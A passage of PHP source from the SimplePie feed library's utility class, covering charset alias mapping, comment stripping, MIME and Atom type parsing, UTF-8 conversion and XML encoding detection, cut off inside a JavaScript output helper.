'Big5-HKSCS'; case 'bocu1': case 'csbocu1': return 'BOCU-1'; case 'brf': case 'csbrf': return 'BRF'; case 'bs4730': case 'csiso4unitedkingdom': case 'gb': case 'iso646gb': case 'isoir4': case 'uk': return 'BS_4730'; case 'bsviewdata': case 'csiso47bsviewdata': case 'isoir47': return 'BS_viewdata'; case 'cesu8': case 'cscesu8': return 'CESU-8'; case 'ca': case 'csa71': case 'csaz243419851': case 'csiso121canadian1': case 'iso646ca': case 'isoir121': return 'CSA_Z243.4-1985-1'; case 'csa72': case 'csaz243419852': case 'csiso122canadian2': case 'iso646ca2': case 'isoir122': return 'CSA_Z243.4-1985-2'; case 'csaz24341985gr': case 'csiso123csaz24341985gr': case 'isoir123': return 'CSA_Z243.4-1985-gr'; case 'csiso139csn369103': case 'csn369103': case 'isoir139': return 'CSN_369103'; case 'csdecmcs': case 'dec': case 'decmcs': return 'DEC-MCS'; case 'csiso21german': case 'de': case 'din66003': case 'iso646de': case 'isoir21': return 'DIN_66003'; case 'csdkus': case 'dkus': return 'dk-us'; case 'csiso646danish': case 'dk': case 'ds2089': case 'iso646dk': return 'DS_2089'; case 'csibmebcdicatde': case 'ebcdicatde': return 'EBCDIC-AT-DE'; case 'csebcdicatdea': case 'ebcdicatdea': return 'EBCDIC-AT-DE-A'; case 'csebcdiccafr': case 'ebcdiccafr': return 'EBCDIC-CA-FR'; case 'csebcdicdkno': case 'ebcdicdkno': return 'EBCDIC-DK-NO'; case 'csebcdicdknoa': case 'ebcdicdknoa': return 'EBCDIC-DK-NO-A'; case 'csebcdices': case 'ebcdices': return 'EBCDIC-ES'; case 'csebcdicesa': case 'ebcdicesa': return 'EBCDIC-ES-A'; case 'csebcdicess': case 'ebcdicess': return 'EBCDIC-ES-S'; case 'csebcdicfise': case 'ebcdicfise': return 'EBCDIC-FI-SE'; case 'csebcdicfisea': case 'ebcdicfisea': return 'EBCDIC-FI-SE-A'; case 'csebcdicfr': case 'ebcdicfr': return 'EBCDIC-FR'; case 'csebcdicit': case 'ebcdicit': return 'EBCDIC-IT'; case 'csebcdicpt': case 'ebcdicpt': return 'EBCDIC-PT'; case 'csebcdicuk': case 'ebcdicuk': return 'EBCDIC-UK'; case 'csebcdicus': case 'ebcdicus': return 'EBCDIC-US'; case 'csiso111ecmacyrillic': case 'ecmacyrillic': case 'isoir111': case 'koi8e': return 'ECMA-cyrillic'; case 'csiso17spanish': case 'es': case 'iso646es': case 'isoir17': return 'ES'; case 'csiso85spanish2': case 'es2': case 'iso646es2': case 'isoir85': return 'ES2'; case 'cseucpkdfmtjapanese': case 'eucjp': case 'extendedunixcodepackedformatforjapanese': return 'EUC-JP'; case 'cseucfixwidjapanese': case 'extendedunixcodefixedwidthforjapanese': return 'Extended_UNIX_Code_Fixed_Width_for_Japanese'; case 'gb18030': return 'GB18030'; case 'chinese': case 'cp936': case 'csgb2312': case 'csiso58gb231280': case 'gb2312': case 'gb231280': case 'gbk': case 'isoir58': case 'ms936': case 'windows936': return 'GBK'; case 'cn': case 'csiso57gb1988': case 'gb198880': case 'iso646cn': case 'isoir57': return 'GB_1988-80'; case 'csiso153gost1976874': case 'gost1976874': case 'isoir153': case 'stsev35888': return 'GOST_19768-74'; case 'csiso150': case 'csiso150greekccitt': case 'greekccitt': case 'isoir150': return 'greek-ccitt'; case 'csiso88greek7': case 'greek7': case 'isoir88': return 'greek7'; case 'csiso18greek7old': case 'greek7old': case 'isoir18': return 'greek7-old'; case 'cshpdesktop': case 'hpdesktop': return 'HP-DeskTop'; case 'cshplegal': case 'hplegal': return 'HP-Legal'; case 'cshpmath8': case 'hpmath8': return 'HP-Math8'; case 'cshppifont': case 'hppifont': return 'HP-Pi-font'; case 'cshproman8': case 'hproman8': case 'r8': case 'roman8': return 'hp-roman8'; case 'hzgb2312': return 'HZ-GB-2312'; case 'csibmsymbols': case 'ibmsymbols': return 'IBM-Symbols'; case 'csibmthai': case 'ibmthai': return 'IBM-Thai'; case 'cp37': case 'csibm37': case 'ebcdiccpca': case 'ebcdiccpnl': case 'ebcdiccpus': case 'ebcdiccpwt': case 'ibm37': return 'IBM037'; case 'cp38': case 'csibm38': case 'ebcdicint': case 'ibm38': return 'IBM038'; case 'cp273': case 'csibm273': case 'ibm273': return 'IBM273'; case 'cp274': case 'csibm274': case 'ebcdicbe': case 'ibm274': return 'IBM274'; case 'cp275': case 'csibm275': case 'ebcdicbr': case 'ibm275': return 'IBM275'; case 'csibm277': case 'ebcdiccpdk': case 'ebcdiccpno': case 'ibm277': return 'IBM277'; case 'cp278': case 'csibm278': case 'ebcdiccpfi': case 'ebcdiccpse': case 'ibm278': return 'IBM278'; case 'cp280': case 'csibm280': case 'ebcdiccpit': case 'ibm280': return 'IBM280'; case 'cp281': case 'csibm281': case 'ebcdicjpe': case 'ibm281': return 'IBM281'; case 'cp284': case 'csibm284': case 'ebcdiccpes': case 'ibm284': return 'IBM284'; case 'cp285': case 'csibm285': case 'ebcdiccpgb': case 'ibm285': return 'IBM285'; case 'cp290': case 'csibm290': case 'ebcdicjpkana': case 'ibm290': return 'IBM290'; case 'cp297': case 'csibm297': case 'ebcdiccpfr': case 'ibm297': return 'IBM297'; case 'cp420': case 'csibm420': case 'ebcdiccpar1': case 'ibm420': return 'IBM420'; case 'cp423': case 'csibm423': case 'ebcdiccpgr': case 'ibm423': return 'IBM423'; case 'cp424': case 'csibm424': case 'ebcdiccphe': case 'ibm424': return 'IBM424'; case '437': case 'cp437': case 'cspc8codepage437': case 'ibm437': return 'IBM437'; case 'cp500': case 'csibm500': case 'ebcdiccpbe': case 'ebcdiccpch': case 'ibm500': return 'IBM500'; case 'cp775': case 'cspc775baltic': case 'ibm775': return 'IBM775'; case '850': case 'cp850': case 'cspc850multilingual': case 'ibm850': return 'IBM850'; case '851': case 'cp851': case 'csibm851': case 'ibm851': return 'IBM851'; case '852': case 'cp852': case 'cspcp852': case 'ibm852': return 'IBM852'; case '855': case 'cp855': case 'csibm855': case 'ibm855': return 'IBM855'; case '857': case 'cp857': case 'csibm857': case 'ibm857': return 'IBM857'; case 'ccsid858': case 'cp858': case 'ibm858': case 'pcmultilingual850euro': return 'IBM00858'; case '860': case 'cp860': case 'csibm860': case 'ibm860': return 'IBM860'; case '861': case 'cp861': case 'cpis': case 'csibm861': case 'ibm861': return 'IBM861'; case '862': case 'cp862': case 'cspc862latinhebrew': case 'ibm862': return 'IBM862'; case '863': case 'cp863': case 'csibm863': case 'ibm863': return 'IBM863'; case 'cp864': case 'csibm864': case 'ibm864': return 'IBM864'; case '865': case 'cp865': case 'csibm865': case 'ibm865': return 'IBM865'; case '866': case 'cp866': case 'csibm866': case 'ibm866': return 'IBM866'; case 'cp868': case 'cpar': case 'csibm868': case 'ibm868': return 'IBM868'; case '869': case 'cp869': case 'cpgr': case 'csibm869': case 'ibm869': return 'IBM869'; case 'cp870': case 'csibm870': case 'ebcdiccproece': case 'ebcdiccpyu': case 'ibm870': return 'IBM870'; case 'cp871': case 'csibm871': case 'ebcdiccpis': case 'ibm871': return 'IBM871'; case 'cp880': case 'csibm880': case 'ebcdiccyrillic': case 'ibm880': return 'IBM880'; case 'cp891': case 'csibm891': case 'ibm891': return 'IBM891'; case 'cp903': case 'csibm903': case 'ibm903': return 'IBM903'; case '904': case 'cp904': case 'csibbm904': case 'ibm904': return 'IBM904'; case 'cp905': case 'csibm905': case 'ebcdiccptr': case 'ibm905': return 'IBM905'; case 'cp918': case 'csibm918': case 'ebcdiccpar2': case 'ibm918': return 'IBM918'; case 'ccsid924': case 'cp924': case 'ebcdiclatin9euro': case 'ibm924': return 'IBM00924'; case 'cp1026': case 'csibm1026': case 'ibm1026': return 'IBM1026'; case 'ibm1047': return 'IBM1047'; case 'ccsid1140': case 'cp1140': case 'ebcdicus37euro': case 'ibm1140': return 'IBM01140'; case 'ccsid1141': case 'cp1141': case 'ebcdicde273euro': case 'ibm1141': return 'IBM01141'; case 'ccsid1142': case 'cp1142': case 'ebcdicdk277euro': case 'ebcdicno277euro': case 'ibm1142': return 'IBM01142'; case 'ccsid1143': case 'cp1143': case 'ebcdicfi278euro': case 'ebcdicse278euro': case 'ibm1143': return 'IBM01143'; case 'ccsid1144': case 'cp1144': case 'ebcdicit280euro': case 'ibm1144': return 'IBM01144'; case 'ccsid1145': case 'cp1145': case 'ebcdices284euro': case 'ibm1145': return 'IBM01145'; case 'ccsid1146': case 'cp1146': case 'ebcdicgb285euro': case 'ibm1146': return 'IBM01146'; case 'ccsid1147': case 'cp1147': case 'ebcdicfr297euro': case 'ibm1147': return 'IBM01147'; case 'ccsid1148': case 'cp1148': case 'ebcdicinternational500euro': case 'ibm1148': return 'IBM01148'; case 'ccsid1149': case 'cp1149': case 'ebcdicis871euro': case 'ibm1149': return 'IBM01149'; case 'csiso143iecp271': case 'iecp271': case 'isoir143': return 'IEC_P27-1'; case 'csiso49inis': case 'inis': case 'isoir49': return 'INIS'; case 'csiso50inis8': case 'inis8': case 'isoir50': return 'INIS-8'; case 'csiso51iniscyrillic': case 'iniscyrillic': case 'isoir51': return 'INIS-cyrillic'; case 'csinvariant': case 'invariant': return 'INVARIANT'; case 'iso2022cn': return 'ISO-2022-CN'; case 'iso2022cnext': return 'ISO-2022-CN-EXT'; case 'csiso2022jp': case 'iso2022jp': return 'ISO-2022-JP'; case 'csiso2022jp2': case 'iso2022jp2': return 'ISO-2022-JP-2'; case 'csiso2022kr': case 'iso2022kr': return 'ISO-2022-KR'; case 'cswindows30latin1': case 'iso88591windows30latin1': return 'ISO-8859-1-Windows-3.0-Latin-1'; case 'cswindows31latin1': case 'iso88591windows31latin1': return 'ISO-8859-1-Windows-3.1-Latin-1'; case 'csisolatin2': case 'iso88592': case 'iso885921987': case 'isoir101': case 'l2': case 'latin2': return 'ISO-8859-2'; case 'cswindows31latin2': case 'iso88592windowslatin2': return 'ISO-8859-2-Windows-Latin-2'; case 'csisolatin3': case 'iso88593': case 'iso885931988': case 'isoir109': case 'l3': case 'latin3': return 'ISO-8859-3'; case 'csisolatin4': case 'iso88594': case 'iso885941988': case 'isoir110': case 'l4': case 'latin4': return 'ISO-8859-4'; case 'csisolatincyrillic': case 'cyrillic': case 'iso88595': case 'iso885951988': case 'isoir144': return 'ISO-8859-5'; case 'arabic': case 'asmo708': case 'csisolatinarabic': case 'ecma114': case 'iso88596': case 'iso885961987': case 'isoir127': return 'ISO-8859-6'; case 'csiso88596e': case 'iso88596e': return 'ISO-8859-6-E'; case 'csiso88596i': case 'iso88596i': return 'ISO-8859-6-I'; case 'csisolatingreek': case 'ecma118': case 'elot928': case 'greek': case 'greek8': case 'iso88597': case 'iso885971987': case 'isoir126': return 'ISO-8859-7'; case 'csisolatinhebrew': case 'hebrew': case 'iso88598': case 'iso885981988': case 'isoir138': return 'ISO-8859-8'; case 'csiso88598e': case 'iso88598e': return 'ISO-8859-8-E'; case 'csiso88598i': case 'iso88598i': return 'ISO-8859-8-I'; case 'cswindows31latin5': case 'iso88599windowslatin5': return 'ISO-8859-9-Windows-Latin-5'; case 'csisolatin6': case 'iso885910': case 'iso8859101992': case 'isoir157': case 'l6': case 'latin6': return 'ISO-8859-10'; case 'iso885913': return 'ISO-8859-13'; case 'iso885914': case 'iso8859141998': case 'isoceltic': case 'isoir199': case 'l8': case 'latin8': return 'ISO-8859-14'; case 'iso885915': case 'latin9': return 'ISO-8859-15'; case 'iso885916': case 'iso8859162001': case 'isoir226': case 'l10': case 'latin10': return 'ISO-8859-16'; case 'iso10646j1': return 'ISO-10646-J-1'; case 'csunicode': case 'iso10646ucs2': return 'ISO-10646-UCS-2'; case 'csucs4': case 'iso10646ucs4': return 'ISO-10646-UCS-4'; case 'csunicodeascii': case 'iso10646ucsbasic': return 'ISO-10646-UCS-Basic'; case 'csunicodelatin1': case 'iso10646': case 'iso10646unicodelatin1': return 'ISO-10646-Unicode-Latin1'; case 'csiso10646utf1': case 'iso10646utf1': return 'ISO-10646-UTF-1'; case 'csiso115481': case 'iso115481': case 'isotr115481': return 'ISO-11548-1'; case 'csiso90': case 'isoir90': return 'iso-ir-90'; case 'csunicodeibm1261': case 'isounicodeibm1261': return 'ISO-Unicode-IBM-1261'; case 'csunicodeibm1264': case 'isounicodeibm1264': return 'ISO-Unicode-IBM-1264'; case 'csunicodeibm1265': case 'isounicodeibm1265': return 'ISO-Unicode-IBM-1265'; case 'csunicodeibm1268': case 'isounicodeibm1268': return 'ISO-Unicode-IBM-1268'; case 'csunicodeibm1276': case 'isounicodeibm1276': return 'ISO-Unicode-IBM-1276'; case 'csiso646basic1983': case 'iso646basic1983': case 'ref': return 'ISO_646.basic:1983'; case 'csiso2intlrefversion': case 'irv': case 'iso646irv1983': case 'isoir2': return 'ISO_646.irv:1983'; case 'csiso2033': case 'e13b': case 'iso20331983': case 'isoir98': return 'ISO_2033-1983'; case 'csiso5427cyrillic': case 'iso5427': case 'isoir37': return 'ISO_5427'; case 'iso5427cyrillic1981': case 'iso54271981': case 'isoir54': return 'ISO_5427:1981'; case 'csiso5428greek': case 'iso54281980': case 'isoir55': return 'ISO_5428:1980'; case 'csiso6937add': case 'iso6937225': case 'isoir152': return 'ISO_6937-2-25'; case 'csisotextcomm': case 'iso69372add': case 'isoir142': return 'ISO_6937-2-add'; case 'csiso8859supp': case 'iso8859supp': case 'isoir154': case 'latin125': return 'ISO_8859-supp'; case 'csiso10367box': case 'iso10367box': case 'isoir155': return 'ISO_10367-box'; case 'csiso15italian': case 'iso646it': case 'isoir15': case 'it': return 'IT'; case 'csiso13jisc6220jp': case 'isoir13': case 'jisc62201969': case 'jisc62201969jp': case 'katakana': case 'x2017': return 'JIS_C6220-1969-jp'; case 'csiso14jisc6220ro': case 'iso646jp': case 'isoir14': case 'jisc62201969ro': case 'jp': return 'JIS_C6220-1969-ro'; case 'csiso42jisc62261978': case 'isoir42': case 'jisc62261978': return 'JIS_C6226-1978'; case 'csiso87jisx208': case 'isoir87': case 'jisc62261983': case 'jisx2081983': case 'x208': return 'JIS_C6226-1983'; case 'csiso91jisc62291984a': case 'isoir91': case 'jisc62291984a': case 'jpocra': return 'JIS_C6229-1984-a'; case 'csiso92jisc62991984b': case 'iso646jpocrb': case 'isoir92': case 'jisc62291984b': case 'jpocrb': return 'JIS_C6229-1984-b'; case 'csiso93jis62291984badd': case 'isoir93': case 'jisc62291984badd': case 'jpocrbadd': return 'JIS_C6229-1984-b-add'; case 'csiso94jis62291984hand': case 'isoir94': case 'jisc62291984hand': case 'jpocrhand': return 'JIS_C6229-1984-hand'; case 'csiso95jis62291984handadd': case 'isoir95': case 'jisc62291984handadd': case 'jpocrhandadd': return 'JIS_C6229-1984-hand-add'; case 'csiso96jisc62291984kana': case 'isoir96': case 'jisc62291984kana': return 'JIS_C6229-1984-kana'; case 'csjisencoding': case 'jisencoding': return 'JIS_Encoding'; case 'cshalfwidthkatakana': case 'jisx201': case 'x201': return 'JIS_X0201'; case 'csiso159jisx2121990': case 'isoir159': case 'jisx2121990': case 'x212': return 'JIS_X0212-1990'; case 'csiso141jusib1002': case 'iso646yu': case 'isoir141': case 'js': case 'jusib1002': case 'yu': return 'JUS_I.B1.002'; case 'csiso147macedonian': case 'isoir147': case 'jusib1003mac': case 'macedonian': return 'JUS_I.B1.003-mac'; case 'csiso146serbian': case 'isoir146': case 'jusib1003serb': case 'serbian': return 'JUS_I.B1.003-serb'; case 'koi7switched': return 'KOI7-switched'; case 'cskoi8r': case 'koi8r': return 'KOI8-R'; case 'koi8u': return 'KOI8-U'; case 'csksc5636': case 'iso646kr': case 'ksc5636': return 'KSC5636'; case 'cskz1048': case 'kz1048': case 'rk1048': case 'strk10482002': return 'KZ-1048'; case 'csiso19latingreek': case 'isoir19': case 'latingreek': return 'latin-greek'; case 'csiso27latingreek1': case 'isoir27': case 'latingreek1': return 'Latin-greek-1'; case 'csiso158lap': case 'isoir158': case 'lap': case 'latinlap': return 'latin-lap'; case 'csmacintosh': case 'mac': case 'macintosh': return 'macintosh'; case 'csmicrosoftpublishing': case 'microsoftpublishing': return 'Microsoft-Publishing'; case 'csmnem': case 'mnem': return 'MNEM'; case 'csmnemonic': case 'mnemonic': return 'MNEMONIC'; case 'csiso86hungarian': case 'hu': case 'iso646hu': case 'isoir86': case 'msz77953': return 'MSZ_7795.3'; case 'csnatsdano': case 'isoir91': case 'natsdano': return 'NATS-DANO'; case 'csnatsdanoadd': case 'isoir92': case 'natsdanoadd': return 'NATS-DANO-ADD'; case 'csnatssefi': case 'isoir81': case 'natssefi': return 'NATS-SEFI'; case 'csnatssefiadd': case 'isoir82': case 'natssefiadd': return 'NATS-SEFI-ADD'; case 'csiso151cuba': case 'cuba': case 'iso646cu': case 'isoir151': case 'ncnc1081': return 'NC_NC00-10:81'; case 'csiso69french': case 'fr': case 'iso646fr': case 'isoir69': case 'nfz62010': return 'NF_Z_62-010'; case 'csiso25french': case 'iso646fr1': case 'isoir25': case 'nfz620101973': return 'NF_Z_62-010_(1973)'; case 'csiso60danishnorwegian': case 'csiso60norwegian1': case 'iso646no': case 'isoir60': case 'no': case 'ns45511': return 'NS_4551-1'; case 'csiso61norwegian2': case 'iso646no2': case 'isoir61': case 'no2': case 'ns45512': return 'NS_4551-2'; case 'osdebcdicdf3irv': return 'OSD_EBCDIC_DF03_IRV'; case 'osdebcdicdf41': return 'OSD_EBCDIC_DF04_1'; case 'osdebcdicdf415': return 'OSD_EBCDIC_DF04_15'; case 'cspc8danishnorwegian': case 'pc8danishnorwegian': return 'PC8-Danish-Norwegian'; case 'cspc8turkish': case 'pc8turkish': return 'PC8-Turkish'; case 'csiso16portuguese': case 'iso646pt': case 'isoir16': case 'pt': return 'PT'; case 'csiso84portuguese2': case 'iso646pt2': case 'isoir84': case 'pt2': return 'PT2'; case 'cp154': case 'csptcp154': case 'cyrillicasian': case 'pt154': case 'ptcp154': return 'PTCP154'; case 'scsu': return 'SCSU'; case 'csiso10swedish': case 'fi': case 'iso646fi': case 'iso646se': case 'isoir10': case 'se': case 'sen850200b': return 'SEN_850200_B'; case 'csiso11swedishfornames': case 'iso646se2': case 'isoir11': case 'se2': case 'sen850200c': return 'SEN_850200_C'; case 'csiso102t617bit': case 'isoir102': case 't617bit': return 'T.61-7bit'; case 'csiso103t618bit': case 'isoir103': case 't61': case 't618bit': return 'T.61-8bit'; case 'csiso128t101g2': case 'isoir128': case 't101g2': return 'T.101-G2'; case 'cstscii': case 'tscii': return 'TSCII'; case 'csunicode11': case 'unicode11': return 'UNICODE-1-1'; case 'csunicode11utf7': case 'unicode11utf7': return 'UNICODE-1-1-UTF-7'; case 'csunknown8bit': case 'unknown8bit': return 'UNKNOWN-8BIT'; case 'ansix341968': case 'ansix341986': case 'ascii': case 'cp367': case 'csascii': case 'ibm367': case 'iso646irv1991': case 'iso646us': case 'isoir6': case 'us': case 'usascii': return 'US-ASCII'; case 'csusdk': case 'usdk': return 'us-dk'; case 'utf7': return 'UTF-7'; case 'utf8': return 'UTF-8'; case 'utf16': return 'UTF-16'; case 'utf16be': return 'UTF-16BE'; case 'utf16le': return 'UTF-16LE'; case 'utf32': return 'UTF-32'; case 'utf32be': return 'UTF-32BE'; case 'utf32le': return 'UTF-32LE'; case 'csventurainternational': case 'venturainternational': return 'Ventura-International'; case 'csventuramath': case 'venturamath': return 'Ventura-Math'; case 'csventuraus': case 'venturaus': return 'Ventura-US'; case 'csiso70videotexsupp1': case 'isoir70': case 'videotexsuppl': return 'videotex-suppl'; case 'csviqr': case 'viqr': return 'VIQR'; case 'csviscii': case 'viscii': return 'VISCII'; case 'csshiftjis': case 'cswindows31j': case 'mskanji': case 'shiftjis': case 'windows31j': return 'Windows-31J'; case 'iso885911': case 'tis620': return 'windows-874'; case 'cseuckr': case 'csksc56011987': case 'euckr': case 'isoir149': case 'korean': case 'ksc5601': case 'ksc56011987': case 'ksc56011989': case 'windows949': return 'windows-949'; case 'windows1250': return 'windows-1250'; case 'windows1251': return 'windows-1251'; case 'cp819': case 'csisolatin1': case 'ibm819': case 'iso88591': case 'iso885911987': case 'isoir100': case 'l1': case 'latin1': case 'windows1252': return 'windows-1252'; case 'windows1253': return 'windows-1253'; case 'csisolatin5': case 'iso88599': case 'iso885991989': case 'isoir148': case 'l5': case 'latin5': case 'windows1254': return 'windows-1254'; case 'windows1255': return 'windows-1255'; case 'windows1256': return 'windows-1256'; case 'windows1257': return 'windows-1257'; case 'windows1258': return 'windows-1258'; default: return $charset; } } public static function get_curl_version() { if (is_array($curl = curl_version())) { $curl = $curl['version']; } elseif (substr($curl, 0, 5) === 'curl/') { $curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5)); } elseif (substr($curl, 0, 8) === 'libcurl/') { $curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8)); } else { $curl = 0; } return $curl; } /** * Strip HTML comments * * @param string $data Data to strip comments from * @return string Comment stripped string */ public static function strip_comments($data) { $output = ''; while (($start = strpos($data, '<!--')) !== false) { $output .= substr($data, 0, $start); if (($end = strpos($data, '-->', $start)) !== false) { $data = substr_replace($data, '', 0, $end + 3); } else { $data = ''; } } return $output . $data; } public static function parse_date($dt) { $parser = SimplePie_Parse_Date::get(); return $parser->parse($dt); } /** * Decode HTML entities * * @deprecated Use DOMDocument instead * @param string $data Input data * @return string Output data */ public static function entities_decode($data) { $decoder = new SimplePie_Decode_HTML_Entities($data); return $decoder->parse(); } /** * Remove RFC822 comments * * @param string $data Data to strip comments from * @return string Comment stripped string */ public static function uncomment_rfc822($string) { $string = (string) $string; $position = 0; $length = strlen($string); $depth = 0; $output = ''; while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) { $output .= substr($string, $position, $pos - $position); $position = $pos + 1; if ($string[$pos - 1] !== '\\') { $depth++; while ($depth && $position < $length) { $position += strcspn($string, '()', $position); if ($string[$position - 1] === '\\') { $position++; continue; } elseif (isset($string[$position])) { switch ($string[$position]) { case '(': $depth++; break; case ')': $depth--; break; } $position++; } else { break; } } } else { $output .= '('; } } $output .= substr($string, $position); return $output; } public static function parse_mime($mime) { if (($pos = strpos($mime, ';')) === false) { return trim($mime); } else { return trim(substr($mime, 0, $pos)); } } public static function atom_03_construct_type($attribs) { if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode']) === 'base64')) { $mode = SIMPLEPIE_CONSTRUCT_BASE64; } else { $mode = SIMPLEPIE_CONSTRUCT_NONE; } if (isset($attribs['']['type'])) { switch (strtolower(trim($attribs['']['type']))) { case 'text': case 'text/plain': return SIMPLEPIE_CONSTRUCT_TEXT | $mode; case 'html': case 'text/html': return SIMPLEPIE_CONSTRUCT_HTML | $mode; case 'xhtml': case 'application/xhtml+xml': return SIMPLEPIE_CONSTRUCT_XHTML | $mode; default: return SIMPLEPIE_CONSTRUCT_NONE | $mode; } } else { return SIMPLEPIE_CONSTRUCT_TEXT | $mode; } } public static function atom_10_construct_type($attribs) { if (isset($attribs['']['type'])) { switch (strtolower(trim($attribs['']['type']))) { case 'text': return SIMPLEPIE_CONSTRUCT_TEXT; case 'html': return SIMPLEPIE_CONSTRUCT_HTML; case 'xhtml': return SIMPLEPIE_CONSTRUCT_XHTML; default: return SIMPLEPIE_CONSTRUCT_NONE; } } return SIMPLEPIE_CONSTRUCT_TEXT; } public static function atom_10_content_construct_type($attribs) { if (isset($attribs['']['type'])) { $type = strtolower(trim($attribs['']['type'])); switch ($type) { case 'text': return SIMPLEPIE_CONSTRUCT_TEXT; case 'html': return SIMPLEPIE_CONSTRUCT_HTML; case 'xhtml': return SIMPLEPIE_CONSTRUCT_XHTML; } if (in_array(substr($type, -4), array('+xml', '/xml')) || substr($type, 0, 5) === 'text/') { return SIMPLEPIE_CONSTRUCT_NONE; } else { return SIMPLEPIE_CONSTRUCT_BASE64; } } else { return SIMPLEPIE_CONSTRUCT_TEXT; } } public static function is_isegment_nz_nc($string) { return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string); } public static function space_seperated_tokens($string) { $space_characters = "\x20\x09\x0A\x0B\x0C\x0D"; $string_length = strlen($string); $position = strspn($string, $space_characters); $tokens = array(); while ($position < $string_length) { $len = strcspn($string, $space_characters, $position); $tokens[] = substr($string, $position, $len); $position += $len; $position += strspn($string, $space_characters, $position); } return $tokens; } /** * Converts a unicode codepoint to a UTF-8 character * * @static * @param int $codepoint Unicode codepoint * @return string UTF-8 character */ public static function codepoint_to_utf8($codepoint) { $codepoint = (int) $codepoint; if ($codepoint < 0) { return false; } else if ($codepoint <= 0x7f) { return chr($codepoint); } else if ($codepoint <= 0x7ff) { return chr(0xc0 | ($codepoint >> 6)) . chr(0x80 | ($codepoint & 0x3f)); } else if ($codepoint <= 0xffff) { return chr(0xe0 | ($codepoint >> 12)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f)); } else if ($codepoint <= 0x10ffff) { return chr(0xf0 | ($codepoint >> 18)) . chr(0x80 | (($codepoint >> 12) & 0x3f)) . chr(0x80 | (($codepoint >> 6) & 0x3f)) . chr(0x80 | ($codepoint & 0x3f)); } else { // U+FFFD REPLACEMENT CHARACTER return "\xEF\xBF\xBD"; } } /** * Similar to parse_str() * * Returns an associative array of name/value pairs, where the value is an * array of values that have used the same name * * @static * @param string $str The input string. * @return array */ public static function parse_str($str) { $return = array(); $str = explode('&', $str); foreach ($str as $section) { if (strpos($section, '=') !== false) { list($name, $value) = explode('=', $section, 2); $return[urldecode($name)][] = urldecode($value); } else { $return[urldecode($section)][] = null; } } return $return; } /** * Detect XML encoding, as per XML 1.0 Appendix F.1 * * @todo Add support for EBCDIC * @param string $data XML data * @param SimplePie_Registry $registry Class registry * @return array Possible encodings */ public static function xml_encoding($data, $registry) { // UTF-32 Big Endian BOM if (substr($data, 0, 4) === "\x00\x00\xFE\xFF") { $encoding[] = 'UTF-32BE'; } // UTF-32 Little Endian BOM elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00") { $encoding[] = 'UTF-32LE'; } // UTF-16 Big Endian BOM elseif (substr($data, 0, 2) === "\xFE\xFF") { $encoding[] = 'UTF-16BE'; } // UTF-16 Little Endian BOM elseif (substr($data, 0, 2) === "\xFF\xFE") { $encoding[] = 'UTF-16LE'; } // UTF-8 BOM elseif (substr($data, 0, 3) === "\xEF\xBB\xBF") { $encoding[] = 'UTF-8'; } // UTF-32 Big Endian Without BOM elseif (substr($data, 0, 20) === "\x00\x00\x00\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C") { if ($pos = strpos($data, "\x00\x00\x00\x3F\x00\x00\x00\x3E")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32BE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-32BE'; } // UTF-32 Little Endian Without BOM elseif (substr($data, 0, 20) === "\x3C\x00\x00\x00\x3F\x00\x00\x00\x78\x00\x00\x00\x6D\x00\x00\x00\x6C\x00\x00\x00") { if ($pos = strpos($data, "\x3F\x00\x00\x00\x3E\x00\x00\x00")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 20), 'UTF-32LE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-32LE'; } // UTF-16 Big Endian Without BOM elseif (substr($data, 0, 10) === "\x00\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C") { if ($pos = strpos($data, "\x00\x3F\x00\x3E")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16BE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-16BE'; } // UTF-16 Little Endian Without BOM elseif (substr($data, 0, 10) === "\x3C\x00\x3F\x00\x78\x00\x6D\x00\x6C\x00") { if ($pos = strpos($data, "\x3F\x00\x3E\x00")) { $parser = $registry->create('XML_Declaration_Parser', array(SimplePie_Misc::change_encoding(substr($data, 20, $pos - 10), 'UTF-16LE', 'UTF-8'))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-16LE'; } // US-ASCII (or superset) elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C") { if ($pos = strpos($data, "\x3F\x3E")) { $parser = $registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5))); if ($parser->parse()) { $encoding[] = $parser->encoding; } } $encoding[] = 'UTF-8'; } // Fallback to UTF-8 else { $encoding[] = 'UTF-8'; } return $encoding; } public static function output_javascript() { if (function_exists('ob_gzhandler')) { ob_start('ob_gzhandler'); } header('Content-type: text/javascript; charset: UTF-8'); header('Cache-Control: must-revalidate'); header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 604800) . ' GMT'); // 7 days ?> function embed_quicktime(type, bgcolor, width, height, link, placeholder, loop) { if (placeholder != '') { document.writeln('<embed type="'+type+'" style="cursor:hand; cursor:pointer;" href="'+link+'" 